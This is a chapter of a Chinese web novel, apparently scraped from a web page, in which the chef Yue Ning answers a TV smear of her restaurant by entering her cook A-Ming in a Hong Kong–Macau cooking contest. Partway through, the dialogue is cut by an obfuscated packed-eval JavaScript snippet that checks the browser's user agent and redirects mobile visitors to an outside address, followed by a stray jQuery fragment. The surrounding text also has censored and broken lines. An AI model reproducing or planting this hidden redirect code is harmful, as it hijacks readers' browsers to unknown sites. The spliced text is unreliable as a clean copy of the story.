岳宁把一盘录像带塞进录像机，电视机屏幕上出现一段画面。
这是一档新闻节目，主持人手里拿着一张报纸说：“这是一份《粤城晚报》，上面刊登了这样一条新闻，‘福运楼与港城宝华楼达成合作协议，港城宝华楼回哺福运楼，为福运楼培训厨师’，我们来看文章具体内容。”
这篇报道里说，建国后三十年，尤其是近十年像福运楼这样的老字号出现了人才凋敝的情况，很多技艺没有了传承。从福运楼出去的岳宝华先生得知了福运楼面临的境况，主动提出帮助福运楼培训厨师。
主持人放下报纸说：“从这份报纸上可以知道，宝华楼请来的所谓的大厨，实际上是福运楼里来培训的学徒。我们再来听听粤城的街头采访。”
记者在福运楼周边采访路人，问路人现在福运楼怎么样？
“吃不起呀！”
“又贵又不好吃，谁会来花这个冤枉钱？”
一个老爷子停住说：“福运楼早就不是十几年前的福运楼了，罗大厨还在的时候，福运楼在粤城，那是粤菜第一块牌子，罗大厨一走，他儿子**了，福运楼就没落了……”
这个片段切掉，换成了宝华楼跟鸿安签约新闻发布会的画面，苏菲说是三位大厨抵港，进入宝华楼和宁宴，还有一段是岳宁在公开场合说福运楼来的三个厨子，都是很厉害的大厨。
切回主持人的画面：“宝华楼的岳宝华先生一直是以口味见长，宝华楼在旺角也是以价格适中，口味好而出名的一家酒楼，深受港城市民的喜欢。宝华楼遇到胶布事件后，市民也很惋惜。即便是宝华楼除了岳宝华先生外，主要的厨师全部流失，受到重创，宝华楼重开后依旧受到了追捧。然而，岳宝华先生的孙女岳宁小姐并不像岳宝华先生那样愿意沉下心来做菜，她有手艺，甚至手艺比岳宝华还好，但是好高骛远，在宝华楼还没有恢复元气的时候，就想要一步到位做高级餐厅。把内地一家没落的老牌餐厅的几个手艺一般的厨子捧成大厨。我想说，岳宁小姐，请珍惜羽毛，好自为之。”
新闻到此结束。
这段新闻是昨天出来的，以岳宁的热度，很快就成了街头巷尾议论的焦点，她现在有很多铁杆粉丝，看到这种新闻，粉丝根本不信岳宁是这样的人。
但是粤城的官方报纸，福运楼的真实口碑确实如此，这也算是铁证如山了。
岳
宁啪嗒一声关掉了电视机从桌上拿起一份邀请函递给阿明：“阿明叔你看看。”
阿明低头看邀请函岳宁从桌上拿起一根木头用小刀刮着木头。
阿星见她这个样子问：“宁宁你这是干嘛？新闻这么说咱们确实很气人但不至于要**吧？”
岳宁笑：“我遵纪守法。这算个什么事？”
她把木头给阿星：“闻闻。”
“好香！”阿星闻了又闻有种特殊的清香。
岳宁从桌上捻起木头上刮下来的碎屑放在鼻前闻这味道太迷人了她说：“这是山胡椒根是滇西米线的一种特殊调味料。”
进出口公司的人太给力了听她说要招待曾经在滇缅公路上跑过运输的大姨和大姨夫他们给她搞来了一大堆调料包括几根山胡椒木说让她做云南德宏的米线。
阿明看完了邀请函试探着问：“宁宁这是邀请你去参加港澳厨王比赛的。你给我看是要带我去做助手？”
邀请函是每年一度的港澳厨王大赛寄过来的。以前岳宝华对此一点兴趣都没有
这次倒也不是岳宁对这么一档节目感兴趣实在是御龙轩像是打不死的小强一直纠缠着她。
岳宁从阿明手里拿过邀请函递给阿星她告诉阿明：“楼家富去了御龙轩御龙轩今年派他出来参赛。”
阿明大笑起来：“御龙轩的郭世杰有没有脑子？去年陆进勇输给荣哥那只是败了一点点。今年让楼家富来跟你比那死得会有多惨？”
岳宁从阿星手里抽过山胡椒木敲了一下阿明的脑袋气呼呼地说：“新闻白给你看了？”
阿明愣了：“这跟新闻有什么关系？我们只要烧好菜只要客人觉得好吃就好了。”
岳宁转头跟杨志杰说：“阿杰你分析给他听。”
杨志杰站了起来：“明哥刚才新闻里主持人说了三句话第一宝华楼原有主要厨师全部流失第二岳宁从内地请来的厨子没本事。第三岳宁有本事甚至比华叔还好。意思是说宝华楼除了华叔和岳宁已经没人了。再配合这张邀请信和他们放出来的消息楼家富加入御龙轩还要参加比赛。如果是宁宁参赛就是胜了也没办法破除前面两条。想要破除前面两条宝华楼派出来的人就得是你、阿伟哥或者松哥其中的一个还有从粤城福运楼
来的三个人里的一个。一得证明你们几个不比楼家富差，二证明内地来的厨子确实是大厨。
阿明一双眼瞪大了，他这下算是意识到了：“宁宁，你不会是想让我去参加比赛吧？我跟楼家富不好比的，我比他差多了。我……
“你比他差哪里？
阿明脑袋摇得像是波浪鼓：“我除了煲仔饭比他烧得好，其他都不如他。而且厨王大赛，根本不是大家用拿手菜比，而是节目组随机提供食材，按照节目组提供的食材做菜。有很多稀奇古怪的食材，我可能都没遇到过，压根就不会做。我肯定不行的！要不，你让阿邦和阿星去吧！阿邦火候掌握地特别好，阿星的刀工，大概除了你，没人能跟他比了。
岳宁微微叹了一口气：“阿明叔，你连阿松叔和阿伟叔都不敢提吗？
“这是事实啊！宁宁，师兄弟六个，他们三个，荣哥最好，其他两个也不差。我们三个以前就跟在他们后面的啊！阿明低下头，“而且，我还是最差的一个，除了煲仔饭做得好，其他的真不如他们。宁宁，你来了，我已经很努力了。但是我也知道自己几斤几两，去跟他比，那是必输无疑。
“你对自己一点信心都没有。好歹对我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915444|176918||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有点信心吧？我像是拍脑袋让你去的吗？岳宁跟他说，“只要你能到决赛，跟楼家富一比高下，哪怕是输了，也不算是丢面子了。
阿明仰头看岳宁：“我输了你不会怪我？
杨志杰站起来：“明哥，我跟你说，宁宁跟我讨论下来，阿邦和阿星搭档是最合适的。阿邦的灶台功夫已经炉火纯青，阿星切工是个什么水平，大家都知道。让你去参加，因为他们说华叔的徒弟只有三个有本事，宁宁希望你能为你们几个正名。她说，只要你跟楼家富比，输得不太惨，宝华楼还有华叔和宁宁，你不过是宝华楼排名第五的厨子，楼家富算是御龙轩排名第二的了。我们就不丢人。宁宁愿意给你机会，你自己倒是缩了。
阿明低头不语，他如果说不去，那就是辜负宁宁对他的期望，他要是去了，输了，那不是丢宝华楼的脸，而且宝华楼有更好的组合。
“我也不是让你们去送人头的，阿星不是学徒，是天赋极高的厨子。你们俩凑在一起，赢面还是有的。岳宁看向马耀星。
马耀星已经看完邀请函了，他有信心。
这两天跟岳宁一起，他以前也愿
意学，只是没人教他，他死记硬背，菜谱可背了不少。
宁宁说起重庆的卤鸭，说不是烟熏的樟茶鸭，他立马就想起，之前有个重庆的大厨来福运楼交楼学习，做过重庆的白卤鸭子，跟他们潮汕卤水不同，别人没记下，他记得大致配方。
这两天跟宁宁反复调配卤水，今天试吃下来，已经跟记忆里的口味很接近了。
况且，宁宁说他一直被放在切墩上，被耽误了，烧菜的机会不够多。掌勺跟切墩一样，是要一直烧，一直烧慢慢地领悟出来。
这方面不行，他那些死记硬背，有标准的东西，他只要被点拨一下就会了。
在宝华楼这些天，他跟几个厨子都熟悉了，阿明火候的掌握不如阿邦，但是岳宝华又不是罗世昌，岳宝华对徒弟是认真教的，阿明的基本功还是有的。
马耀星跃跃欲试：“明哥，我给你做助手。我烧菜本事还不到家，但是菜谱记得多。当然，我和邦哥拍档也可以。宁宁这么安排，是因为，她希望你以后是宁宴或者宝华楼的总厨。”
岳宁说：“你真没信心，我可叫阿邦了。”
几个人都跟他这么说，阿明心里明白，岳宁对他有多看重，自己如果执意不去，真会让宁宁失望。他抬头，眼神坚定，“我去。”
岳宁看着他，她知道阿明还缺乏信心，岳宁不想给他太多压力：“只要你尽力了，输赢不是问题。”
“嗯。我一定尽力。再说了，我要能跟楼家富比到决赛，无论我和他谁赢，还不是证明师傅的手艺好？”
“这么想就对了。”岳宁跟杨志杰说，“阿杰，怎么回应就看你了。”
“我去找苏菲姐商量。”杨志杰点头。
“好！”岳宁跟马耀星说，“走了，我们去试傣家米线了。”